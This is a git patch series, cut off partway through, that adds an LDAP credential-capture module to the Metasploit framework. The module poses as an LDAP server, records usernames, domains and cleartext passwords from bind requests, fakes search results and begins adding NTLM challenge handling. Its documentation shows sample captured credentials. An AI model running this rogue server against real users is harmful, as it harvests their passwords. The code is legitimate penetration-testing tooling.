From e3c97148e8efeff4cdac78eb3e58faee9acebedd Mon Sep 17 00:00:00 2001 From: Nishant Desai Date: Sun, 18 Jun 2023 18:47:42 +0000 Subject: [PATCH 01/21] Capturing-SimpleBind-Authentication --- modules/auxiliary/server/capture/ldap.rb | 170 +++++++++++++++++++++++ 1 file changed, 170 insertions(+) create mode 100644 modules/auxiliary/server/capture/ldap.rb diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb new file mode 100644 index 0000000000..d593c10e0d --- /dev/null +++ b/modules/auxiliary/server/capture/ldap.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::LDAP::Server + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Authentication Capture: LDAP', + 'Description' => %q{ + This module mocks an LDAP service to capture authentication + information of a client trying to authenticate against an LDAP service + }, + 'Author' => 'JustAnda7', + 'License' => MSF_LICENSE, + 'Action' => [ + [ 'Capture', { 'Description' => 'Run an LDAP capture server' } ] + ], + 'PassiveActions' => [ 'Capture' ], + 'DefaultActions' => 'Capture', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + + register_options( + [ + OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]), + OptString.new('Authentication', [ false, 'The type of authentication used by the client.', 'Simple' ]) + ] + ) + end + + def setup + super + @state = {} + end + + def run + exploit + end + + def on_dispatch_request(client, data) + return if data.strip.empty? || data.strip.nil? + + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport + } + + data.extend(Net::BER::Extensions::String) + begin + pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) + vprint_status("LDAP request data remaining: #{data}") unless data.empty? + + resp = case pdu.app_tag + when Net::LDAP::PDU::BindRequest + domains = [] + user_login = pdu.bind_parameters + + if !user_login.name.empty? + if user_login.name =~ /@/ + pub_info = user_login.name.split('@') + if pub_info.length <= 2 + @state[client][:user] = pub_info[0] + @state[client][:domain] = pub_info[1] + end + elsif user_login.name =~ /,/ + names = user_login.name.split(',') + if names[0] =~ /cn=/ + @state[client][:user] = names.shift.split('=').last + end + names.each do |name| + if name =~ /dc=/ + domains << name.split('=').last + end + end + @state[client][:domain] = domains.join('.') + else + service.encode_ldap_response( + pdu.message_id, + Net::LDAP::ResultCodeInvalidCredentials, + '', + '', + Net::LDAP::PDU::BindResult + ) + end + else + @state[client][:user] = '' + @state[client][:domain] = '' + end + + @state[client][:pass] = user_login.authentication + + unless @state[client][:user].empty? && @state[client][:pass].empty? + report_cred( + ip: @state[client][:ip], + port: client.localport, + service_name: 'ldap', + user: @state[client][:user], + password: @state[client][:pass], + domain: @state[client][:domain] + ) + + end + print_good("LDAP Login Attempt => From:#{@state[client][:name]} Username:#{@state[client][:user]} Password:#{@state[client][:password]}") + service.encode_ldap_response( + pdu.message_id, + Net::LDAP::ResultCodeAuthMethodNotSupported, + '', + 'Try Again or Use a different Authentication Method', + Net::LDAP::PDU::BindResult + ) + else + service.encode_ldap_response( + pdu.message_id, + Net::LDAP::ResultCodeUnwillingToPerform, + '', + Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform], + Net::LDAP::PDU::SearchResult + ) + end + + resp.nil? ? client.close : on_send_response(client, resp) + rescue StandardError => e + print_error("Failed to handle LDAP request due to #{e}") + client.close + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password, + domain: opts[:domain], + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: opts[:domain] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + end + \ No newline at end of file From 823824163e18c56853c50a45f72360dbe2ac627e Mon Sep 17 00:00:00 2001 From: Nishant Desai Date: Sun, 18 Jun 2023 18:49:17 +0000 Subject: [PATCH 02/21] Documentation-of-Capturing-Simple-Auth --- .../modules/auxiliary/server/capture/ldap.md | 51 +++ modules/auxiliary/server/capture/ldap.rb | 321 +++++++++--------- 2 files changed, 210 insertions(+), 162 deletions(-) create mode 100644 documentation/modules/auxiliary/server/capture/ldap.md diff --git a/documentation/modules/auxiliary/server/capture/ldap.md b/documentation/modules/auxiliary/server/capture/ldap.md new file mode 100644 index 0000000000..cafd5d689a --- /dev/null +++ b/documentation/modules/auxiliary/server/capture/ldap.md @@ -0,0 +1,51 @@ +## Vulnerable Application + +This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials. +Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User + +## Verification Steps + +1. Start msfconsole +2. Do: `use auxiliary/server/capture/ldap` +3. Do: `run` +4. From a new shell or workstation, perform a ldap bind request involving User credentials. +5. Check the database using `creds` for the user authentication information. + +## Options + + **Authentication** + +The type of LDAP authentication to capture. The default type is `Simple` + +## Scenarios + +### Metasploit Server + +``` +msf6 > use auxiliary/server/capture/ldap +msf6 auxiliary(server/capture/ldap) > run + +[*] Server started. +[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass +``` + +### Client + +``` +└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W +Enter LDAP Password: +ldap_bind: Authentication method not supported (7) + additional info: Try Again or Use a different Authentication Method +``` + +**Database** + +``` +msf6 auxiliary(server/capture/ldap) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password +``` \ No newline at end of file diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index d593c10e0d..bdffe1f782 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -4,167 +4,164 @@ ## class MetasploitModule < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::LDAP::Server - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Authentication Capture: LDAP', - 'Description' => %q{ - This module mocks an LDAP service to capture authentication - information of a client trying to authenticate against an LDAP service - }, - 'Author' => 'JustAnda7', - 'License' => MSF_LICENSE, - 'Action' => [ - [ 'Capture', { 'Description' => 'Run an LDAP capture server' } ] - ], - 'PassiveActions' => [ 'Capture' ], - 'DefaultActions' => 'Capture', - 'Notes' => { - 'Stability' => [], - 'Reliability' => [], - 'SideEffects' => [] - } - ) + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::LDAP::Server + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Authentication Capture: LDAP', + 'Description' => %q{ + This module mocks an LDAP service to capture authentication + information of a client trying to authenticate against an LDAP service + }, + 'Author' => 'JustAnda7', + 'License' => MSF_LICENSE, + 'Action' => [ + [ 'Capture', { 'Description' => 'Run an LDAP capture server' } ] + ], + 'PassiveActions' => [ 'Capture' ], + 'DefaultActions' => 'Capture', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } ) - - register_options( - [ - OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]), - OptString.new('Authentication', [ false, 'The type of authentication used by the client.', 'Simple' ]) - ] - ) - end - - def setup - super - @state = {} - end - - def run - exploit - end - - def on_dispatch_request(client, data) - return if data.strip.empty? || data.strip.nil? - - @state[client] = { - name: "#{client.peerhost}:#{client.peerport}", - ip: client.peerhost, - port: client.peerport - } - - data.extend(Net::BER::Extensions::String) - begin - pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) - vprint_status("LDAP request data remaining: #{data}") unless data.empty? - - resp = case pdu.app_tag - when Net::LDAP::PDU::BindRequest - domains = [] - user_login = pdu.bind_parameters - - if !user_login.name.empty? - if user_login.name =~ /@/ - pub_info = user_login.name.split('@') - if pub_info.length <= 2 - @state[client][:user] = pub_info[0] - @state[client][:domain] = pub_info[1] - end - elsif user_login.name =~ /,/ - names = user_login.name.split(',') - if names[0] =~ /cn=/ - @state[client][:user] = names.shift.split('=').last - end - names.each do |name| - if name =~ /dc=/ - domains << name.split('=').last - end - end - @state[client][:domain] = domains.join('.') - else - service.encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeInvalidCredentials, - '', - '', - Net::LDAP::PDU::BindResult - ) - end - else - @state[client][:user] = '' - @state[client][:domain] = '' - end - - @state[client][:pass] = user_login.authentication - - unless @state[client][:user].empty? && @state[client][:pass].empty? - report_cred( - ip: @state[client][:ip], - port: client.localport, - service_name: 'ldap', - user: @state[client][:user], - password: @state[client][:pass], - domain: @state[client][:domain] - ) - - end - print_good("LDAP Login Attempt => From:#{@state[client][:name]} Username:#{@state[client][:user]} Password:#{@state[client][:password]}") - service.encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeAuthMethodNotSupported, - '', - 'Try Again or Use a different Authentication Method', - Net::LDAP::PDU::BindResult - ) - else - service.encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeUnwillingToPerform, - '', - Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform], - Net::LDAP::PDU::SearchResult - ) - end - - resp.nil? ? client.close : on_send_response(client, resp) - rescue StandardError => e - print_error("Failed to handle LDAP request due to #{e}") - client.close - end - end - - def report_cred(opts) - service_data = { - address: opts[:ip], - port: opts[:port], - service_name: opts[:service_name], - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - origin_type: :service, - module_fullname: fullname, - username: opts[:user], - private_data: opts[:password], - private_type: :password, - domain: opts[:domain], - realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, - realm_value: opts[:domain] - }.merge(service_data) - - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) - - create_credential_login(login_data) - end - + ) + + register_options( + [ + OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]), + OptString.new('Authentication', [ false, 'The type of authentication used by the client.', 'Simple' ]) + ] + ) end - \ No newline at end of file + + def setup + super + @state = {} + end + + def run + exploit + end + + def on_dispatch_request(client, data) + return if data.strip.empty? || data.strip.nil? + + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport + } + + data.extend(Net::BER::Extensions::String) + begin + pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) + vprint_status("LDAP request data remaining: #{data}") unless data.empty? + + res = case pdu.app_tag + when Net::LDAP::PDU::BindRequest + domains = [] + user_login = pdu.bind_parameters + + if !user_login.name.empty? + if user_login.name =~ /@/ + pub_info = user_login.name.split('@') + if pub_info.length <= 2 + @state[client][:user] = pub_info[0] + @state[client][:domain] = pub_info[1] + end + elsif user_login.name =~ /,/ + names = user_login.name.split(',') + if names[0] =~ /cn=/ + @state[client][:user] = names.shift.split('=').last + end + names.each do |name| + if name =~ /dc=/ + domains << name.split('=').last + end + end + @state[client][:domain] = domains.join('.') + else + service.encode_ldap_response( + pdu.message_id, + Net::LDAP::ResultCodeInvalidCredentials, + '', + '', + Net::LDAP::PDU::BindResult + ) + end + else + @state[client][:user] = '' + @state[client][:domain] = '' + end + + @state[client][:pass] = user_login.authentication + + unless @state[client][:user].empty? && @state[client][:pass].empty? + report_cred( + ip: @state[client][:ip], + port: client.localport, + service_name: 'ldap', + user: @state[client][:user], + password: @state[client][:pass], + domain: @state[client][:domain] + ) + end + print_good("LDAP Login Attempt => From:#{@state[client][:name]} Username:#{@state[client][:user]} Password:#{@state[client][:password]}") + service.encode_ldap_response( + pdu.message_id, + Net::LDAP::ResultCodeAuthMethodNotSupported, + '', + 'Try Again or Use a different Authentication Method', + Net::LDAP::PDU::BindResult + ) + else + service.encode_ldap_response( + pdu.message_id, + Net::LDAP::ResultCodeUnwillingToPerform, + '', + Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform], + Net::LDAP::PDU::SearchResult + ) + end + + res.nil? ? client.close : on_send_response(client, res) + rescue StandardError => e + print_error("Failed to handle LDAP request due to #{e}") + client.close + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password, + domain: opts[:domain], + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: opts[:domain] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end +end From 8e33badd8005395dc3c72a437a337e6d454514fb Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Tue, 27 Jun 2023 03:38:02 -0400 Subject: [PATCH 03/21] Better-parsing-of-dn-and-minor-changes --- modules/auxiliary/server/capture/ldap.rb | 93 ++++++++++++++---------- 1 file changed, 53 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index bdffe1f782..a6c48064b3 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -2,6 +2,8 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +require 'net/ldap' +require 'net/ldap/dn' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -34,17 +36,11 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]), - OptString.new('Authentication', [ false, 'The type of authentication used by the client.', 'Simple' ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]) ] ) end - def setup - super - @state = {} - end - def run exploit end @@ -52,7 +48,9 @@ class MetasploitModule < Msf::Auxiliary def on_dispatch_request(client, data) return if data.strip.empty? || data.strip.nil? - @state[client] = { + state = {} + + state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport @@ -66,75 +64,90 @@ class MetasploitModule < Msf::Auxiliary res = case pdu.app_tag when Net::LDAP::PDU::BindRequest domains = [] + names = [] + result_code = nil user_login = pdu.bind_parameters if !user_login.name.empty? if user_login.name =~ /@/ pub_info = user_login.name.split('@') if pub_info.length <= 2 - @state[client][:user] = pub_info[0] - @state[client][:domain] = pub_info[1] + state[client][:user] = pub_info[0] + state[client][:domain] = pub_info[1] + else + result_code = Net::LDAP::ResultCodeInvalidCredentials + print_error("LDAP Login Attempt => From:#{state[client][:name]} DN:#{user_login.name}") end elsif user_login.name =~ /,/ - names = user_login.name.split(',') - if names[0] =~ /cn=/ - @state[client][:user] = names.shift.split('=').last - end - names.each do |name| - if name =~ /dc=/ - domains << name.split('=').last + begin + dn = Net::LDAP::DN.new(user_login.name) + dn.each_pair do |key, value| + if key == 'cn' + names << value + elsif key == 'dc' + domains << value + end end + state[client][:user] = names.first + state[client][:domain] = domains.empty? ? nil : domains.join('.') + rescue StandardError => e + print_error("LDAP Login Attempt => From:#{state[client][:name]} DN:#{user_login.name}") + raise e end - @state[client][:domain] = domains.join('.') else - service.encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeInvalidCredentials, - '', - '', - Net::LDAP::PDU::BindResult - ) + result_code = Net::LDAP::ResultCodeInvalidCredentials end else - @state[client][:user] = '' - @state[client][:domain] = '' + state[client][:user] = '' + state[client][:domain] = nil end - @state[client][:pass] = user_login.authentication + state[client][:pass] = user_login.authentication - unless @state[client][:user].empty? && @state[client][:pass].empty? + unless state[client][:user].empty? && state[client][:pass].empty? report_cred( - ip: @state[client][:ip], + ip: state[client][:ip], port: client.localport, service_name: 'ldap', - user: @state[client][:user], - password: @state[client][:pass], - domain: @state[client][:domain] + user: state[client][:user], + password: state[client][:pass], + domain: state[client][:domain] ) end - print_good("LDAP Login Attempt => From:#{@state[client][:name]} Username:#{@state[client][:user]} Password:#{@state[client][:password]}") + print_good("LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:password]}") + result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? service.encode_ldap_response( pdu.message_id, - Net::LDAP::ResultCodeAuthMethodNotSupported, + result_code, '', - 'Try Again or Use a different Authentication Method', + Net::LDAP::ResultStrings[result_code], Net::LDAP::PDU::BindResult ) else + result_code = Net::LDAP::ResultCodeUnwillingToPerform service.encode_ldap_response( pdu.message_id, - Net::LDAP::ResultCodeUnwillingToPerform, + result_code, '', - Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform], + Net::LDAP::ResultStrings[result_code], Net::LDAP::PDU::SearchResult ) end - res.nil? ? client.close : on_send_response(client, res) + on_send_response(client, res) unless res.nil? rescue StandardError => e + on_send_response(client, + service.encode_ldap_response( + 1, + Net::LDAP::ResultCodeUnwillingToPerform, + '', + Net::LDAP::ResultStrings[result_code], + Net::LDAP::PDU::BindResult + )) print_error("Failed to handle LDAP request due to #{e}") - client.close end + ensure + client.close end def report_cred(opts) From 79d3cc81cb06db4acd3899f624149d6341129f81 Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Sun, 30 Jul 2023 03:43:24 -0400 Subject: [PATCH 04/21] changes-to-support-nmap-script --- .../modules/auxiliary/server/capture/ldap.md | 5 +- modules/auxiliary/server/capture/ldap.rb | 79 +++++++++++++++++-- 2 files changed, 77 insertions(+), 7 deletions(-) diff --git a/documentation/modules/auxiliary/server/capture/ldap.md b/documentation/modules/auxiliary/server/capture/ldap.md index cafd5d689a..17de7a0206 100644 --- a/documentation/modules/auxiliary/server/capture/ldap.md +++ b/documentation/modules/auxiliary/server/capture/ldap.md @@ -1,3 +1,4 @@ + ## Vulnerable Application This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials. @@ -34,8 +35,8 @@ msf6 auxiliary(server/capture/ldap) > run ``` └─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W Enter LDAP Password: -ldap_bind: Authentication method not supported (7) - additional info: Try Again or Use a different Authentication Method +ldap_bind: Auth Method Not Supported (7) + additional info: Auth Method Not Supported ``` **Database** diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index a6c48064b3..1076dfcb4f 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -39,6 +39,14 @@ class MetasploitModule < Msf::Auxiliary OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]) ] ) + + deregister_options('LDIF_FILE') + + register_advanced_options( + [ + OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path']) + ] + ) end def run @@ -68,7 +76,12 @@ class MetasploitModule < Msf::Auxiliary result_code = nil user_login = pdu.bind_parameters - if !user_login.name.empty? + if user_login.name.empty? || user_login.authentication.empty? + state[client][:user] = user_login.name + state[client][:pass] = user_login.authentication + state[client][:domain] = nil + result_code = Net::LDAP::ResultCodeSuccess + elsif !user_login.name.empty? if user_login.name =~ /@/ pub_info = user_login.name.split('@') if pub_info.length <= 2 @@ -95,6 +108,8 @@ class MetasploitModule < Msf::Auxiliary raise e end else + state[client][:user] = '' + state[client][:domain] = nil result_code = Net::LDAP::ResultCodeInvalidCredentials end else @@ -114,7 +129,7 @@ class MetasploitModule < Msf::Auxiliary domain: state[client][:domain] ) end - print_good("LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:password]}") + print_good("LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}") result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? service.encode_ldap_response( pdu.message_id, @@ -123,6 +138,27 @@ class MetasploitModule < Msf::Auxiliary Net::LDAP::ResultStrings[result_code], Net::LDAP::PDU::BindResult ) + when Net::LDAP::PDU::SearchRequest # search request + # Perform query against some loaded LDIF structure + filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter]) + attrs = pdu.search_parameters[:attributes].empty? ? :all : pdu.search_parameters[:attributes] + res = search_res(filter, pdu.message_id, attrs) + if res.nil? || res.empty? + result_code = Net::LDAP::ResultCodeNoSuchObject + else + client.write(res) + result_code = Net::LDAP::ResultCodeSuccess + end + service.encode_ldap_response( + pdu.message_id, + result_code, + '', + Net::LDAP::ResultStrings[result_code], + Net::LDAP::PDU::SearchResult + ) + when Net::LDAP::PDU::UnbindRequest + client.close + nil else result_code = Net::LDAP::ResultCodeUnwillingToPerform service.encode_ldap_response( @@ -141,13 +177,11 @@ class MetasploitModule < Msf::Auxiliary 1, Net::LDAP::ResultCodeUnwillingToPerform, '', - Net::LDAP::ResultStrings[result_code], + Net::LDAP::ResultStrings[ResultCodeUnwillingToPerform], Net::LDAP::PDU::BindResult )) print_error("Failed to handle LDAP request due to #{e}") end - ensure - client.close end def report_cred(opts) @@ -177,4 +211,39 @@ class MetasploitModule < Msf::Auxiliary create_credential_login(login_data) end + + def search_res(filter, msgid, attrflt = :all) + if @ldif.nil? || @ldif.empty? + attrs = [] + if attrflt.is_a?(Array) + attrflt.each do |at| + attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set + attrs << [at.to_ber, attrval].to_ber_sequence + end + dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}" + appseq = [ + dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence + end + else + ldif.map do |bind_dn, entry| + next unless filter.match(entry) + + attrs = [] + entry.each do |k, v| + if attrflt == :all || attrflt.include?(k.downcase) + attrvals = v.map(&:to_ber).to_ber_set + attrs << [k.to_ber, attrvals].to_ber_sequence + end + end + appseq = [ + bind_dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence + end.compact.join + end + end end From 05d6e9815d25c0b5249377a1694f6fd44ee7829b Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Sun, 20 Aug 2023 07:22:41 -0400 Subject: [PATCH 05/21] changes-to-support-nmap --- modules/auxiliary/server/capture/ldap.rb | 78 ++++++++++++++++-------- 1 file changed, 52 insertions(+), 26 deletions(-) diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index 1076dfcb4f..fa909ff528 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -76,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary result_code = nil user_login = pdu.bind_parameters - if user_login.name.empty? || user_login.authentication.empty? + if user_login.name.empty? && user_login.authentication.empty? state[client][:user] = user_login.name state[client][:pass] = user_login.authentication state[client][:domain] = nil @@ -103,12 +103,21 @@ class MetasploitModule < Msf::Auxiliary end state[client][:user] = names.first state[client][:domain] = domains.empty? ? nil : domains.join('.') - rescue StandardError => e + rescue InvalidDNError => e print_error("LDAP Login Attempt => From:#{state[client][:name]} DN:#{user_login.name}") raise e end + elsif user_login.name =~ /\\/ + pub_info = user_login.name.split('\\') + if pub_info.length <= 2 + state[client][:user] = pub_info[1] + state[client][:domain] = pub_info[0] + else + result_code = Net::LDAP::ResultCodeInvalidCredentials + print_error("LDAP Login Attempt => From:#{state[client][:name]} DN:#{user_login.name}") + end else - state[client][:user] = '' + state[client][:user] = user_login.name state[client][:domain] = nil result_code = Net::LDAP::ResultCodeInvalidCredentials end @@ -129,7 +138,9 @@ class MetasploitModule < Msf::Auxiliary domain: state[client][:domain] ) end - print_good("LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}") + result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}" + result_message += " Domain:#{state[client][:domain]}" if state[client][:domain] + print_good(result_message) result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? service.encode_ldap_response( pdu.message_id, @@ -138,8 +149,7 @@ class MetasploitModule < Msf::Auxiliary Net::LDAP::ResultStrings[result_code], Net::LDAP::PDU::BindResult ) - when Net::LDAP::PDU::SearchRequest # search request - # Perform query against some loaded LDIF structure + when Net::LDAP::PDU::SearchRequest filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter]) attrs = pdu.search_parameters[:attributes].empty? ? :all : pdu.search_parameters[:attributes] res = search_res(filter, pdu.message_id, attrs) @@ -160,26 +170,23 @@ class MetasploitModule < Msf::Auxiliary client.close nil else - result_code = Net::LDAP::ResultCodeUnwillingToPerform - service.encode_ldap_response( - pdu.message_id, - result_code, - '', - Net::LDAP::ResultStrings[result_code], - Net::LDAP::PDU::SearchResult - ) + if suitable_response(pdu.app_tag) + result_code = Net::LDAP::ResultCodeUnwillingToPerform + service.encode_ldap_response( + pdu.message_id, + result_code, + '', + Net::LDAP::ResultStrings[result_code], + suitable_response(pdu.app_tag) + ) + else + client.close + end end on_send_response(client, res) unless res.nil? rescue StandardError => e - on_send_response(client, - service.encode_ldap_response( - 1, - Net::LDAP::ResultCodeUnwillingToPerform, - '', - Net::LDAP::ResultStrings[ResultCodeUnwillingToPerform], - Net::LDAP::PDU::BindResult - )) + client.close print_error("Failed to handle LDAP request due to #{e}") end end @@ -198,12 +205,16 @@ class MetasploitModule < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :password, - domain: opts[:domain], - realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, - realm_value: opts[:domain] + private_type: :password }.merge(service_data) + if opts[:domain] + credential_data = { + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: opts[:domain] + }.merge(credential_data) + end + login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED @@ -246,4 +257,19 @@ class MetasploitModule < Msf::Auxiliary end.compact.join end end + + def suitable_response(request) + responses = { + Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult, + Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult, + Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse, + Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse, + Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse, + Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse, + Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse, + Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse + } + + responses[request] + end end From 6972a910fbab28c137690062ddca5f3a3a36b4d6 Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Sun, 10 Sep 2023 02:51:40 -0400 Subject: [PATCH 06/21] changes-to-support-ntlm --- modules/auxiliary/server/capture/ldap.rb | 264 +++++++++++++++++++++-- 1 file changed, 244 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index fa909ff528..fba304fd39 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -4,6 +4,9 @@ ## require 'net/ldap' require 'net/ldap/dn' +NTLM_CONST = Rex::Proto::NTLM::Constants +NTLM_CRYPT = Rex::Proto::NTLM::Crypt +MESSAGE = Rex::Proto::NTLM::Message class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -36,7 +39,8 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]), + OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ]) ] ) @@ -44,12 +48,23 @@ class MetasploitModule < Msf::Auxiliary register_advanced_options( [ + OptString.new('Domain', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']), + OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']), + OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']), + OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']), + OptBool.new('ForceDefault', [ false, 'Force the default settings', false]), OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path']) ] ) end def run + if datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/ + @challenge = [ datastore['CHALLENGE'] ].pack('H*') + else + print_error('CHALLENGE syntax must match 1122334455667788') # generate a random by module + return + end exploit end @@ -61,7 +76,8 @@ class MetasploitModule < Msf::Auxiliary state[client] = { name: 